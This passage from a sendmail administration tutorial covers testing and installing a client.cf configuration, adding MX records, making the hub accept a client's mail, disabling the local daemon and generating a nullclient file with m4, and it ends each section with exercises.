Ct root daemon

We list root because some root-run programs need to send mail under the identity of other users. We list daemon for the same reasons and because most long-running background processes are owned by the user daemon. If your local machine is set up to receive UUCP mail, you need to add uucp to this list.

Once you add trusted users to the client.cf file, you are almost ready to use that file as the official configuration file.

Previous: 14.5 Sending Real Mail | sendmail | Next: 14.7 Things to Try
14.5 Sending Real Mail | Book Index | 14.7 Things to Try


[Chapter 14] 14.7 Things to Try

sendmailSearch this book
Previous: 14.6 Trusted User Chapter 14
Headers, Precedence, and Trust 		Next: 15. Install and Test the client.cf File

14.7 Things to Try

  • Everything to the left of the colon is taken as the name of the header. What error message do you get if you omit the colon? Is it possible to include a colon in the name?

  • Gather all your system configuration file's header definitions. For each that is not in the client.cf file, why do you suppose it is necessary?

  • In the client.cf file, only one delivery agent is doing anything (the hub). Does it make sense to include ?flags? in the headers in this situation? Can you safely remove those flags and the corresponding flags from the F= flags of the hub to make client.cf smaller?

  • The P configuration command specifies the beginning order for processing mail from the queue. Since mail is always sent to the hub machine at once, does it make sense to set those values in the client.cf file? Would there be any harm in omitting the P configuration commands and letting the hub assume that responsibility?

Previous: 14.6 Trusted User | sendmail | Next: 15. Install and Test the client.cf File
14.6 Trusted User | Book Index | 15. Install and Test the client.cf File


[Chapter 15] Install and Test the client.cf File

sendmailSearch this book
Previous: 14.7 Things to Try Chapter 15 Next: 15.2 The Real Queue Directory

15. Install and Test the client.cf File

Contents:
Test the Configuration File
The Real Queue Directory
MX Records
Hub Accepts Mail for Client
Prevent the Daemon from Running
Install the client.cf File
Things to Try

In this chapter and the next, we tie up a few loose ends to install a client.cf file as the system configuration file.

15.1 Test the Configuration File

Clearly, you won't want to install the client.cf file as the real sendmail.cf file until you've made sure it works properly. One of the better ways to test a new configuration file is to create a file of addresses for which you already know the correct outcome, then feed the contents of that file to sendmail in rule-testing mode:

/tryflags es
/parse user@here
/parse user@here.us.edu
/parse user@foo
/parse foo!user
/parse user

Each line begins with a special V8.7 rule-testing command. [1] The first line causes the tests that follow to parse the address as an envelope sender (instead of the default envelope recipient). The /parse command causes each address to be rewritten by rule sets 3 and 0 to select a delivery agent and then by rule set 4 to clean up afterward. The addresses listed that are humbly few but will suffice for the needs of the client.cf file. No matter the form of the address, each should be forwarded to the hub as is. (The /parse command is described in Section 38.5.5, "Parse an Address with /parse".)

[1] The same thing can be done in earlier versions, but with some difficulty. See a sample script in Section 38.8, "Batch Rule-Set Testing".

The way to test the client.cf file using this list looks like this:

% ./sendmail -Cclient.cf -bt < list | grep ^mailer

Here, list is the name of the file containing the above list of rule tests and addresses. The output shows that each will be passed as is to the hub:

mailer hub, host mailhost, user user@here
mailer hub, host mailhost, user user@here.us.edu
mailer hub, host mailhost, user user@foo
mailer hub, host mailhost, user here!user
mailer hub, host mailhost, user user

Notice that mail to these addresses will be delivered by using the hub delivery agent (mailer). Also notice that each will be forwarded to the hub machine (mailhost) for delivery. Finally, note that the user part will be the original address. [2]

[2] This is the triple that we described in Section 9.2, "The RHS Triple", in which the RHS of rule set 0 returned the mailer with $#, the host with $@, and the user with $:.

But why was the lone username in the last line not rewritten to appear as though it was coming from the hub? Recall that sender rewriting is done in the Hubset rule set. That rule set is called only by the S= of the delivery agent. To see Hubset rewriting, you need to run sendmail again, but this time use /try instead of /parse: [3]

[3] Under old versions of sendmail you must specify the rule sets by hand, for example, 3,Hubset.

% ./sendmail -Cclient.cf -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
> /tryflags es
> /try hub user
rewrite: ruleset  3   input: user
rewrite: ruleset  3 returns: user
rewrite: ruleset  1   input: user
rewrite: ruleset  1 returns: user
rewrite: ruleset 199   input: user
rewrite: ruleset 199 returns: user @ mail . us . edu
rewrite: ruleset  4   input: user @ mail . us . edu
rewrite: ruleset  4 returns: user @ mail . us . edu
Rcode = 0, addr = user@mail.us.edu

Here, sendmail rewrites the lone username first with rule set 3 (all addresses start with rule set 3), and then with rule set 1 (all sender addresses pass through rule set 1). The address is then rewritten by rule set Hubset (which prints as 199 because it is a symbolic rule-set name). As intended, a lone sender name has the address of the hub machine appended to it. (The rest of this /try output is described in Section 38.5.6, "Try a Delivery Agent with /try".)

Further testing would be suggested if the output varied in unexpected ways. It might be necessary to run sendmail in rule-testing mode by hand, testing each rule and sequence of rules individually to find any mistakes in the client.cf file. If the client.cf file tests okay, you are now almost ready to install it as the official sendmail.cf file.

Previous: 14.7 Things to Try | sendmail | Next: 15.2 The Real Queue Directory
14.7 Things to Try | Book Index | 15.2 The Real Queue Directory


[Chapter 15] 15.2 The Real Queue Directory

sendmailSearch this book
Previous: 15.1 Test the Configuration File Chapter 15
Install and Test the client.cf File 		Next: 15.3 MX Records

15.2 The Real Queue Directory

In the current client.cf file, the queue directory is defined as /tmp. Because of its nature, the /tmp directory is always world-readable, -writable, and -searchable. Any file that is placed in /tmp can possibly be accessed, copied, or removed by any user. The use of /tmp clearly violates the need for confidentiality.

Another drawback to using /tmp is that /etc/rc files, which are executed when the system boots, often remove everything from /tmp. You certainly would not want queued mail messages removed just because the machine rebooted.

Instead of /tmp, you should use the existing mail queue directory to store queued messages. If you haven't already done so, find that location by looking for the QueueDirectory (Q) option in your existing sendmail.cf file:

% egrep "^OQ|QueueDirectory" /etc/sendmail.cf
OQ/usr/spool/mqueue

Here, we look for lines in the /etc/sendmail.cf file that begin with the letters OQ (an old-style declaration) or that use the new option name QueueDirectory. Remember that your sendmail.cf file may not be in /etc. Replace the location used above with one that is suitable for your situation.

Edit the client.cf file and replace /tmp with what you found. At the same time, remove the comment that was left there reminding you to do just that:

O QueueDirectory=/tmp  # BEWARE: use /var/spool/mqueue upon release    <-  change this
O QueueDirectory=/var/spool/mqueue                                     <-  to this

This change causes sendmail to use the correct queue directory, but it has an unfortunate side effect. Recall that sendmail runs as the root unless an unsafe command-line switch causes it to give up that privilege. The -C switch that you've been using all along to run sendmail is just such an unsafe switch. Consequently, if you were to now run sendmail as:

% ./sendmail -Cclient.cf you

the -C would cause sendmail to run as an ordinary user. For confidentiality the queue directory is usually protected by making it accessible only to root. Ordinary users, such as we've been assuming you are, lack permission to access the queue directory. Running the above command now will likely result in a error similar to the following:

queuename: Cannot create "qfIAA12390" in "/var/spool/mqueue" (euid=4010):
Permission denied

You need to install the client.cf file in place of the system sendmail.cf file so that you can successfully run sendmail. With the client.cf file installed, you no longer need to use the -C switch to tell sendmail where to find its configuration file. Unfortunately, before you can make that change, you need to first make sure other machines know about it.

Previous: 15.1 Test the Configuration File | sendmail | Next: 15.3 MX Records
15.1 Test the Configuration File | Book Index | 15.3 MX Records


[Chapter 15] 15.3 MX Records

sendmailSearch this book
Previous: 15.2 The Real Queue Directory Chapter 15
Install and Test the client.cf File 		Next: 15.4 Hub Accepts Mail for Client

15.3 MX Records

Recall that in the hub/client setup, all mail goes to the hub machine and none is ever delivered directly to the client. This requires two things: that all mail to the client be automatically sent to the hub machine instead of to the client and that the hub machine accept mail addressed to the client as though that mail were addressed to the hub machine instead. Forcing all mail to go to the hub machine requires special Mail Exchanger (MX) records.

If you already administer DNS, the changes that we will make are easily accomplished. If you don't, you will have to ask your DNS administrator to make the changes for you. How DNS interacts with sendmail is described in greater detail in Chapter 21, DNS and sendmail. You may want to jump ahead to that chapter, and then return here, to better understand the changes we are making.

To arrange for all mail to go to the hub machine, first find the primary file for your DNS zone. We won't tell you where to find it, because either you know where it is or you probably lack permission to edit it. Somewhere in the primary file for your DNS zone is an entry for the local client. It looks something like this:

here            IN      A       123.45.67.8
                IN      HINFO   Sun4/75 unix

Remember that the local machine is here.us.edu. The entry for this machine begins with its hostname (with the domain part omitted). The IN says that this is an Internet-type entry - the only type that is currently supported. The A says that this is an address record, one that associates an IP address with a hostname. The IP address is the dotted quad that follows (the 123.45.67.8).

Other lines may follow the A record. Here, we show an HINFO (host information) record that describes the hardware and the operating system for the local machine.

Immediately below the A record for the local machine, add a new MX record:

here            IN      A       123.45.67.8
                IN      MX      13 mail   <-  add
                IN      HINFO   Sun4/75 unix

Two pieces of information are necessary for an MX record. The first is a relative preference (the 13), which must be a number. The preference is used only when there is more than one MX record for a host. If there were two, the host with the lower preference would be tried first and then the host with the higher preference if the first failed. The number that is selected doesn't matter, because there is only one MX record for this host.

The second item (the one following the preference) is the name of the hub machine to which mail will be sent in place of sending it to the client. If the domain part for both the hub machine and the client machine is the same, only the hostname of the hub machine needs to appear in this record. The hostname of the hub in all our examples has been mail, so that is what we used:

                IN      MX      13 mail

                                   hostname of our mail hub

You should, of course, replace mail with the actual name of your central mail-handling machine.

If the hub machine is in a different domain than the client, a fully qualified domain name needs to be specified in place of mail. For example, if all local mail is being sent offsite to the central server at wash.dc.gov, the following would appear:

                IN      MX      13 wash.dc.gov.

                                   note the dot at the end

If you place a fully qualified name in an MX record, be sure to terminate that name with a dot. That dot tells DNS that this name is complete. Without it, DNS automatically appends your local domain to the name, resulting in an unknown address. In the entry mail above, the dot was omitted because mail is in the local domain.

After you've made this change, you need to wait for the old record to time out. The length of time to wait depends on the value of the Time To Live (TTL) that is defined for the record. A TTL can appear in two places. It can appear in the A record, or it can appear elsewhere as a default TTL. If the TTL appears in the A record, it will be a number between the hostname and the IN:

here     28800       IN      A       123.45.67.8

         Time To Live (TTL) for this record

TTL values are always in seconds. Here, the A record will time out and any new information will be updated after eight hours have elapsed. Depending on when it was last updated, you may have to wait up to eight hours for the new MX record to be recognized.

If the A record has a TTL, you should duplicate that TTL in the new MX record so that they both time out together:

here    28800        IN      A       123.45.67.8
        28800        IN      MX      13 mail

At most sites the TTL for A and MX records are not stored with them but are defined by a default TTL elsewhere. To find the default TTL, look at the top of the same file for a Start Of Authority (SOA) record:

@       IN      SOA     us.edu. postmaster.us.edu. (
                                1.43    ; serial number
                                7200    ; secondary refresh
                                1800    ; secondary retry
                                3600000 ; secondary expire
                                86400 ) ; default ttl

The details of your SOA record will differ, but the desired information can still be found. The SOA record includes a parenthetical list of five numbers. The last is the default TTL that will be used for all records that don't specify one. Here, that default is 86400 seconds, or 24 hours.

If your MX records lack individual TTLs (because the A record lacks them), you will need to wait the default TTL period of time for the new MX record to become known.

We've omitted a few wrinkles, such as reloading the name server, for a simpler description of the process. If you have permission to change the zone file, you have doubtless changed it before and are familiar with the missing steps. If you haven't, a short section like this one can't begin to give you the information you need to manage DNS. Instead, we refer you to DNS and BIND, Second Edition by Paul Albitz and Cricket Liu (O'Reilly & Associates, Inc., 1997).

Previous: 15.2 The Real Queue Directory | sendmail | Next: 15.4 Hub Accepts Mail for Client
15.2 The Real Queue Directory | Book Index | 15.4 Hub Accepts Mail for Client


[Chapter 15] 15.4 Hub Accepts Mail for Client

sendmailSearch this book
Previous: 15.3 MX Records Chapter 15
Install and Test the client.cf File 		Next: 15.5 Prevent the Daemon from Running

15.4 Hub Accepts Mail for Client

Recall that mail to your machine will be delivered to the hub, because of the MX record that you just created. Unless you change the configuration of the hub, that mail will bounce, because the hub doesn't yet know that it should accept it.

Again, you may lack permission to make the required changes. But for the sake of illustration we'll assume that you can.

You need to modify the hub's configuration file so that the hub thinks mail to your local machine is instead mail to itself. The first step is to edit the hub's configuration file and search for the rule that allows it to recognize itself. Because every machine needs to recognize itself under the name localhost, you should search for that string first. Such a search will reveal something like this:

# We always want localhost to be considered local.
Cwlocalhost

This example shows part of a typical configuration file that declares localhost as equivalent to the hub's hostname. Recall that class w is special because it is initialized internally by sendmail to contain all the possible names of a machine - all, that is, except localhost, which always needs to be added to class w in the configuration file.

We searched for localhost instead of Cw because some configuration files use a letter other than w to list alternative names. The following illustrates one of those other letters:

# Other name for our machine
CO localhost printserver faxhost

If your hub's configuration file is like this, use the letter O (or whatever letter appeared) in place of the more standard letter w in the following examples.

Now that you have the name (letter) of the class of other names, you need to add the local workstation's name to that list. This can be done in either of two ways. If the local machine is the only one that will be using the client.cf file, you can add its name to the existing class definition:

# Other name for our machine
CO localhost printserver faxhost here

                        add the local machine's name here

On the other hand, if yours is just the first of many machines that will be using the client.cf file, you should create an external file now, so that the hub's configuration file only needs to be edited once:

# Other name for our machine
CO localhost printserver faxhost
# Clients for which we receive mail  <-  new
FO/etc/mail/clientlist  <-  new

If you use the external file approach, make certain to create that file and add the local machine's name to it before continuing.

After modifying the hub's sendmail.cf file, you should test it. Run sendmail in rule-testing mode and give it the local machine's name as part of each address:

% /usr/lib/sendmail -bt
ADDRESS TEST MODE
Enter <ruleset> <address>
>

This example shows that the hub is running an old version of sendmail, [4] one that always calls rule set 3 first. Bear that in mind as you feed it addresses.

[4] By old, we mean a non-IDA version, prior to V8.

To test whether or not the hub's sendmail recognizes the local machine as local to the hub, you need to see whether rule set 0 selects the local delivery agent. Since rule set 3 is automatically called first (for this old version of sendmail), don't specify it. In its absence, the rules called for this old version of sendmail will be 3, then 0:

> 0 user@here
rewrite: ruleset  3   input: "user" "@" "here"
rewrite: ruleset  6   input: "user" "<" "@" "here" ">"
rewrite: ruleset  6 returns: "user" "<" "@" "LOCAL" ">"
rewrite: ruleset  3 returns: "user" "<" "@" "LOCAL" ">"
rewrite: ruleset  0   input: "user" "<" "@" "LOCAL" ">"
rewrite: ruleset 30   input: "user"
rewrite: ruleset  3   input: "user"
rewrite: ruleset  3 returns: "user"
rewrite: ruleset  0   input: "user"
rewrite: ruleset  9   input: "user"
rewrite: ruleset  9 returns: "user"
rewrite: ruleset  0 returns: $# "local" $: "user"
rewrite: ruleset 30 returns: $# "local" $: "user"
rewrite: ruleset  0 returns: $# "local" $: "user"
>

Success! The output that is produced will vary depending on your hub's configuration file and version of sendmail, but the result you are seeking will be the same. The last line of output (what rule set 0 returns) should show that the local delivery agent was selected (the $# operator).

Now perform the same test, but this time include your domain as part of the hostname:

> 0 user@here.us.edu
rewrite: ruleset  3   input: "user" "@" "here" "." "us" "." "edu"
rewrite: ruleset  6   input: "user" "<" "@" "here" "." "us" "." "edu" ">"
rewrite: ruleset  6 returns: "user" "<" "@" "LOCAL" ">"
rewrite: ruleset  3 returns: "user" "<" "@" "LOCAL" ">"
rewrite: ruleset  0   input: "user" "<" "@" "LOCAL" ">"
rewrite: ruleset 30   input: "user"
rewrite: ruleset  3   input: "user"
rewrite: ruleset  3 returns: "user"
rewrite: ruleset  0   input: "user"
rewrite: ruleset  9   input: "user"
rewrite: ruleset  9 returns: "user"
rewrite: ruleset  0 returns: $# "local" $: "user"
rewrite: ruleset 30 returns: $# "local" $: "user"
rewrite: ruleset  0 returns: $# "local" $: "user"
>

If all tests well, you need to kill and restart the sendmail daemon on the hub. Review Chapter 4, How to Run sendmail, if you've forgotten how to do this. Beware of any frozen configuration file that might exist if the hub is running a pre-V8 version of sendmail. If one exists, you will have to refreeze it. (See the discussion of the -bz switch in Chapter 36, The Command Line.)

Previous: 15.3 MX Records | sendmail | Next: 15.5 Prevent the Daemon from Running
15.3 MX Records | Book Index | 15.5 Prevent the Daemon from Running


[Chapter 15] 15.5 Prevent the Daemon from Running

sendmailSearch this book
Previous: 15.4 Hub Accepts Mail for Client Chapter 15
Install and Test the client.cf File 		Next: 15.6 Install the client.cf File

15.5 Prevent the Daemon from Running

Once your MX record has taken effect, and once the hub has been configured to recognize the client machine as itself, no mail should ever again be delivered to your local machine. [5] Since there will be no incoming mail connections, you no longer need to run a sendmail daemon. Preventing the daemon from running involves two steps. First you need to kill the running daemon, then you need to modify your rc files so the daemon never runs again. We won't show you how to kill the daemon, because you have already learned that (see Section 4.1.1.1, "Kill and restart, beginning with V8.7"). Instead, we'll jump directly into preventing it from ever running again.

[5] Actually, some sites ignore MX records and try to deliver to your local machine anyway. See Section 36.7.11, -bs for a discussion of one way to solve this problem.

If you haven't already done so, search your rc files to see how sendmail is started when the machine first boots. Under SysV, for example, that command and its results might look like this:

% grep "sendmail.*-bd" /etc/init.d/*
/etc/init.d/mail:    /usr/lib/sendmail -bd -q15m  &

Under BSD 4.4 UNIX, however, they will look like this:

% grep sendmail /etc/rc*
/etc/rc:echo -n ' sendmail';            sendmail -bd -q30m

In the following, we will describe the BSD version. It is somewhat simpler to describe, but the underlying lessons are the same for both.

To be safe, save a copy of the rc file before changing it:

% cp /etc/rc /etc/rc.orig

Then edit the rc file and search for the shell commands that runs sendmail. They will look something like this:

echo -n ' nfsd';                nfsd -u -t 6
echo -n ' nfsiod';              nfsiod 4

echo -n ' sendmail';            sendmail -bd -q30m  <-  note
echo -n ' inetd';               inetd

Find the line that runs the daemon (sendmail with the -bd command-line switch) and remove the -bd:

echo -n ' sendmail';      sendmail -q30m

                                  remove -bd

Extreme care must be taken in making changes to any of the rc files. These are executed only when the system is rebooted, so errors won't show up until a very awkward moment. A mistake here can potentially keep your workstation from booting.

The -bd switch caused sendmail to run as a daemon and listen for incoming SMTP connections. We removed that switch so that sendmail would no longer listen for connections. The -q30m switch that remains causes sendmail to process the queue once every 30 minutes. We leave that switch in place because sendmail still needs to process the queue periodically [6] (in case the hub is down).

[6] An alternative approach is to use cron(8) to execute sendmail periodically with a bare -q switch.

Previous: 15.4 Hub Accepts Mail for Client | sendmail | Next: 15.6 Install the client.cf File
15.4 Hub Accepts Mail for Client | Book Index | 15.6 Install the client.cf File


[Chapter 15] 15.6 Install the client.cf File

sendmailSearch this book
Previous: 15.5 Prevent the Daemon from Running Chapter 15
Install and Test the client.cf File 		Next: 15.7 Things to Try

15.6 Install the client.cf File

At last! All the pieces are in place, and you can install the client.cf file as the official system configuration file.

As we explained when we began developing the client.cf file, you should not type it in yourself. The pieces that we developed were strictly instructional and should not be used as is. Instead, you should bear with us for the rest of the tutorial chapters. In the next chapter you are shown how to generate a full-fledged configuration file. If you have been typing in client.cf all along, you can use it here. If you waited, you should skip to the next chapter, then return here.

Just to be safe, once you have obtained, tuned, and tested a client.cf file, make a backup copy of the system configuration file:

# cp /etc/sendmail.cf /etc/sendmail.cf.orig

The # prompt indicates that you are doing this as root. Next, overwrite the system configuration file with the new client.cf file:

# cp ./client.cf /etc/sendmail.cf

Now that the client.cf file is in place as your system configuration file, you need to kill and restart the sendmail daemon. Review Section 4.1.1, "Daemon Mode (-bd)" if you have forgotten how to do this. Remember, when you restart it, that you are now starting it in queue-processing mode as shown in the previous section. Here is how we kill and restart sendmail for version 8.7:

# kill -HUP `head -1 /etc/sendmail.pid`

That's all there is to it. From now on, any mail that is sent from your machine will result in sendmail using your configuration file in place of the original.

Once again, it is important to test your configuration file. Send mail to yourself and others using your favorite MUA. Examine the results (especially the header information), and ask others to do so too. If anything is amiss, first try to fix the new configuration file. If that fails, put the saved original back as the system configuration file until you can solve the problem.

Some problems will doubtless require expertise beyond that provided in this tutorial. For those, you will need to take on the reference chapters. This will be even more necessary if you are managing a hub machine or if you want mail delivered locally.

Previous: 15.5 Prevent the Daemon from Running | sendmail | Next: 15.7 Things to Try
15.5 Prevent the Daemon from Running | Book Index | 15.7 Things to Try


[Chapter 15] 15.7 Things to Try

sendmailSearch this book
Previous: 15.6 Install the client.cf File Chapter 15
Install and Test the client.cf File 		Next: 16. The null.mc File and m4

15.7 Things to Try

  • A file of rules and addresses is valuable as a tool for testing new and revised versions of a configuration file. Develop a small shell script that feeds such a file to sendmail in rule-testing mode, then filters the output to display only the returns of interest. Is it possible to test rules other than those that select a delivery agent?

  • Is it possible to protect the queue directory with narrow permissions (such as 0700), yet still allow ordinary users to run sendmail in rule-testing mode?

  • Is it legal to have an MX record point to itself? What about having an MX record pointing to a CNAME? What are wildcard MX records, and what pitfalls might you expect to encounter in using them?

  • Consider a hub machine that is connected to two different domains. What rules might it have to include to recognize itself (or its clients as itself) in either domain? Remember that some versions of sendmail allow multitoken class matches, whereas other don't. What is the most portable way to recognize oneself in two domains?

  • If a client is hybrid (a client in the hub/client scheme, that still needs to be able to receive mail), what changes will be required? Does anything need to be added to the client.cf file? Will rule set 0 need to be modified to select the local or prog delivery agents? Will a daemon still have to run?

Previous: 15.6 Install the client.cf File | sendmail | Next: 16. The null.mc File and m4
15.6 Install the client.cf File | Book Index | 16. The null.mc File and m4


[Chapter 16] The null.mc File and m4

sendmailSearch this book
Previous: 15.7 Things to Try Chapter 16 Next: 16.2 The null.mc File

16. The null.mc File and m4

Contents:
The cf/cf Directory
The null.mc File
Run m4
Test the Result
Qualify All Addresses?
Things to Try

In the preceding chapters of this tutorial we developed a minimal client.cf file as an aid in teaching the ins and outs of a small configuration file. In this chapter we show you how to construct a more practical file.

16.1 The cf/cf Directory

A large part of the V8 sendmail distribution is dedicated to the automated creation of configuration files. Recall (Section 2.1, "Get the Source") that the base sendmail distribution looks like this:

FAQ            READ_ME        contrib        mailstats      rmail          test
KNOWNBUGS      RELEASE_NOTES  doc            makemap        smrsh
Makefile       cf             mail.local     praliases      src

Up to now, you have been working in the src directory. Now we will examine the cf directory:

% cd cf
% ls
README      domain      hack        mailer      sh
cf          feature     m4          ostype      siteconfig

The file README contains all the latest information about the technique that we are about to present. Read it now to get a feel for what is about to happen and to become aware of any late-breaking changes.

Now change into the cf directory and look around. All the files in it that end in .mc are m4(1) configuration source files. Read a few to satisfy your curiosity. We will be creating our own soon.

% cd cf
% ls
Makefile           cs-sunos4.1.mc         generic-sunos4.1.mc    s2k-osf1.mc
Makefile.dist      cs-ultrix4.mc          generic-ultrix4.mc     s2k-ultrix4.mc
chez.cs.mc         cyrusproto.mc          huginn.cs.mc           tcpproto.mc
clientproto.mc     generic-bsd4.4.mc      mail.cs.mc             ucbarpa.mc
cs-hpux10.mc       generic-hpux10.mc      mail.eecs.mc           ucbvax.mc
cs-hpux9.mc        generic-hpux9.mc       mailspool.cs.mc        uucpproto.mc
cs-osf1.mc         generic-osf1.mc        obj                    vangogh.cs.mc
cs-solaris2.mc     generic-solaris2.mc    python.cs.mc

Previous: 15.7 Things to Try | sendmail | Next: 16.2 The null.mc File
15.7 Things to Try | Book Index | 16.2 The null.mc File


[Chapter 16] 16.2 The null.mc File

sendmailSearch this book
Previous: 16.1 The cf/cf Directory Chapter 16
The null.mc File and m4 		Next: 16.3 Run m4

16.2 The null.mc File

Now we will create a file called null.mc, which, when later processed, will create a client.cf-style configuration file. The null.mc fill will be very small, containing only these three lines:

include(`../m4/cf.m4')
OSTYPE(`sunos4.1')
FEATURE(`nullclient',`mail.us.edu')

These three lines do everything that the preceding 11 chapters did and more. We discuss them individually, then show how to process the file.

16.2.1 include

Naturally, a configuration is not simply plucked from thin air. Instead the master prototype configuration needs to be read and processed with the following command: [1]

[1] See ../README for a description of how to replace this line with similar information on the command line when processing. The include line inside your null.mc file is portable to all versions of m4. The command line form is highly version dependent, but allows you to maintain your .mc files outside the sendmail distribution.

include(`../m4/cf.m4')

Note that the expression inside the parentheses begins with a reverse apostrophe and ends with a forward one. These opposing half quotes are used by m4(1) to prevent a test from being interpreted as a macro. The expression ../m4/cf.m4 is taken to be the pathname of a file. That file is read at this point as though it were actually typed in here.

16.2.2 OSTYPE

A number of values in the configuration file will differ from operating system to operating system. The location of the queue directory, for example, is /var/spool/mqueue for IRIX 5.x but /usr/spool/mqueue for BSD 4.3 Unix. To declare the proper value for your operating system, look in the ../ostype directory:

% ls ../ostype
aix3.m4        bsdi1.0.m4     hpux10.m4    linux.m4      sco3.2.m4     ultrix4.m4
amdahl-uts.m4  bsdi2.0.m4     hpux9.m4     nextstep.m4   solaris2.m4   unknown.m4
aux.m4         dgux.m4        irix4.m4     osf1.m4       sunos3.5.m4
bsd4.3.m4      domainos.m4    irix5.m4     ptx2.m4       sunos4.1.m4
bsd4.4.m4      dynix3.2.m4    isc4.1.m4    riscos4.5.m4  svr4.m4

Pick the operating system closest to yours. For SunOS 4.1.4 systems, for example, choose sunos4.1.m4.

Whichever you choose, include support for it by stripping the .m4 suffix and including the resulting name in an OSTYPE declaration:

        sunos4.1.m4
             -v
         becomes
             -v
OSTYPE(`sunos4.1')

Remember to surround the result in a reverse and forward apostrophe pair.

16.2.3 FEATURE

The last line in our null.mc file provides the magic incantation of a client.cf-style file:

FEATURE(`nullclient',`mail.us.edu')

Two arguments inside the parentheses, separated by a comma, are required. The first argument, nullclient, tells m4(1) to create a null (do-nothing) client (.cf) file. The second argument is the canonical name of the mail hub. Just as we did for the client.cf file, we use the hostname mail.us.edu. You should, of course, use the canonical name of your own mail hub.

Previous: 16.1 The cf/cf Directory | sendmail | Next: 16.3 Run m4
16.1 The cf/cf Directory | Book Index | 16.3 Run m4


[Chapter 16] 16.3 Run m4

sendmailSearch this book
Previous: 16.2 The null.mc File Chapter 16
The null.mc File and m4 		Next: 16.4 Test the Result

16.3 Run m4

Once your simple three-line null.mc file is ready, you can use it to create a sendmail configuration file. You need a modern version of m4(1) to do this. If you are running BSD 4.2 UNIX, or SysV.2 or 7th edition UNIX, you'll need either the GNU version of m4(1) or BSD's Net/2 version. On SunOS systems, you can run /usr/5bin/m4.

Once you have a good version of m4(1), run the following simple command:

% m4 null.mc > client.cf

If your version of m4(1) is too old, you will see this error message:

You need a newer version of M4, at least as new as
System V or GNU
m4: file not found: NoSuchFile

On the other hand, if your version is new enough, you will see nothing but your prompt return. If so, you have succeeded in creating a client.cf file.

Previous: 16.2 The null.mc File | sendmail | Next: 16.4 Test the Result
16.2 The null.mc File | Book Index | 16.4 Test the Result


[Chapter 16] 16.4 Test the Result

sendmailSearch this book
Previous: 16.3 Run m4 Chapter 16
The null.mc File and m4 		Next: 16.5 Qualify All Addresses?

16.4 Test the Result

When you look at the resulting client.cf file, you will first notice some copyright notices and legalities from the University of California. These are in the form of comments and so are ignored by sendmail.

Next comes a series of comments that show the various pieces that went into the construction of this file. After these you get to the meat of the client.cf file beginning with the line

V7/Berkeley

Read through this client.cf file beginning here, and notice that it is far more complex than the one we developed earlier. For instance, it declares over 80 options (although most are commented out), whereas our first client.cf file declared only nine. It uses eight rule sets, where we used only three.

To test this new file you can use the command

% ../../src/obj.*/sendmail -Cclient.cf -bt < list | grep ^mailer

The weird path for sendmail is needed because you are now in the cf/cf directory and the sendmail binary is back in the src directory. The list is the list of tests from the previous chapter. The output should look something like this:

mailer nullclient, host mail.us.edu, user user@here
mailer nullclient, host mail.us.edu, user user@here.us.edu
mailer nullclient, host mail.us.edu, user user@foo
mailer nullclient, host mail.us.edu, user here!user@mail.us.edu
mailer nullclient, host mail.us.edu, user user@mail.us.edu

Note that this new client.cf file added the name of the hub to the lone username in the last line, whereas our original client.cf did not. To see why this happened, first look for rule set 3 in this new client.cf file. It contains the line

R$+ @ $=w               $@ $1 @ $M                      ...@thishost

Next look in the original client.cf file. It contains a similar rule:

R$- @ $=w              $@ $1@${HUB}            user@local -> user@hub

But the original client.cf file put this rule in rule set Hubset. The new client.cf adds the hub's name to a lone username in rule set 3 that affects all addresses, while old client.cf file adds it in the S= rule set, which affects only sender addresses.

Previous: 16.3 Run m4 | sendmail | Next: 16.5 Qualify All Addresses?
16.3 Run m4 | Book Index | 16.5 Qualify All Addresses?


[Chapter 16] 16.5 Qualify All Addresses?

sendmailSearch this book
Previous: 16.4 Test the Result Chapter 16
The null.mc File and m4 		Next: 16.6 Things to Try

16.5 Qualify All Addresses?

An unqualified address is one that contains only the user part, such as hans. A qualified address is one that also has a host part, such as hans@here. A fully qualified address has a user part and a fully qualified host part, such as hans@here.us.edu. In general, no address should ever go out in a mail header or envelope that is not fully qualified. [2]

[2] The only exception may be when all mail is forwarded to a hub machine. The assumption is that the hub will fully qualify any addresses that lacks a host part.

To illustrate the types of problems that can arise in using addresses that are not fully qualified, consider a header in which the local host is here.us.edu:

To: hans@here.us.edu
Cc: jane, george@fbi.us.gov
From: you@here.us.edu

Using our original client.cf file, this header would go out unchanged because jane is not a sender address. The assumption is that the hub will view this as a local user and deliver it properly.

Now consider a hub that has two MX records (a rather small number). One points to itself so that it always gets mail first because it is, after all, the hub. The other points to a host at another campus. If the hub is down but its clients are up, mail will be delivered to the other campus, on the assumption that it will hold the mail until the hub returns to service. The problem is that the address jane is unqualified when it gets to the other campus. That other site will either bounce the mail because a user jane is unknown or deliver it to another user with the same name who is really a different person.

Before allowing unqualified addresses to go out from a client, be sure that there are no offsite MX records and that there are no plans for any.

This is one of the reasons we said that our original client.cf file was for learning purposes only. This is also one of the reasons why the m4(1) technique produces more complex files and why we recommend using null.mc.

Previous: 16.4 Test the Result | sendmail | Next: 16.6 Things to Try
16.4 Test the Result | Book Index | 16.6 Things to Try


[Chapter 16] 16.6 Things to Try

sendmailSearch this book
Previous: 16.5 Qualify All Addresses? Chapter 16
The null.mc File and m4 		Next: 17. The Hub's Complex Rules

16.6 Things to Try

  • Take a little time to contrast the client.cf file created in the prior 11 chapters with the one created in this chapter. How and why do they differ? You may have to leap ahead to the reference chapters.

  • The cf/README file suggests that the FEATURE(nocanonify) can be used with null.mc. What pitfalls do you foresee with the use of this feature?

  • Neither version of client.cf uses any aliasing or forwarding. Consequently, neither will ever have to send addresses such as programs or files to the hub:

    |/run/this/program          <-  a program
/put/in/this/file           <-  a file

    What happens if you try to send one by hand? Why is it necessary for a client.cf file to avoid delivering these kinds of addresses itself?

  • In the original client.cf file we forwarded the mail to the hub's alias mailhost. What would happen if we used that name in the nullclient feature?

    FEATURE(`nullclient',`mailhost')

  • Suppose you want to tune the rules in the m4(1) produced client.cf file? Does cf/README tell you how? Does the nullclient delivery agent have S= or R= that you can use?

Previous: 16.5 Qualify All Addresses? | sendmail | Next: 17. The Hub's Complex Rules
16.5 Qualify All Addresses? | Book Index | 17. The Hub's Complex Rules


[Chapter 17] The Hub's Complex Rules

sendmailSearch this book
Previous: 16.6 Things to Try Chapter 17 Next: 17.2 Rule Set 96

17. The Hub's Complex Rules

Contents:
Rule Set 3
Rule Set 96
Rule Set 0
Rule Set 4
Things to Try

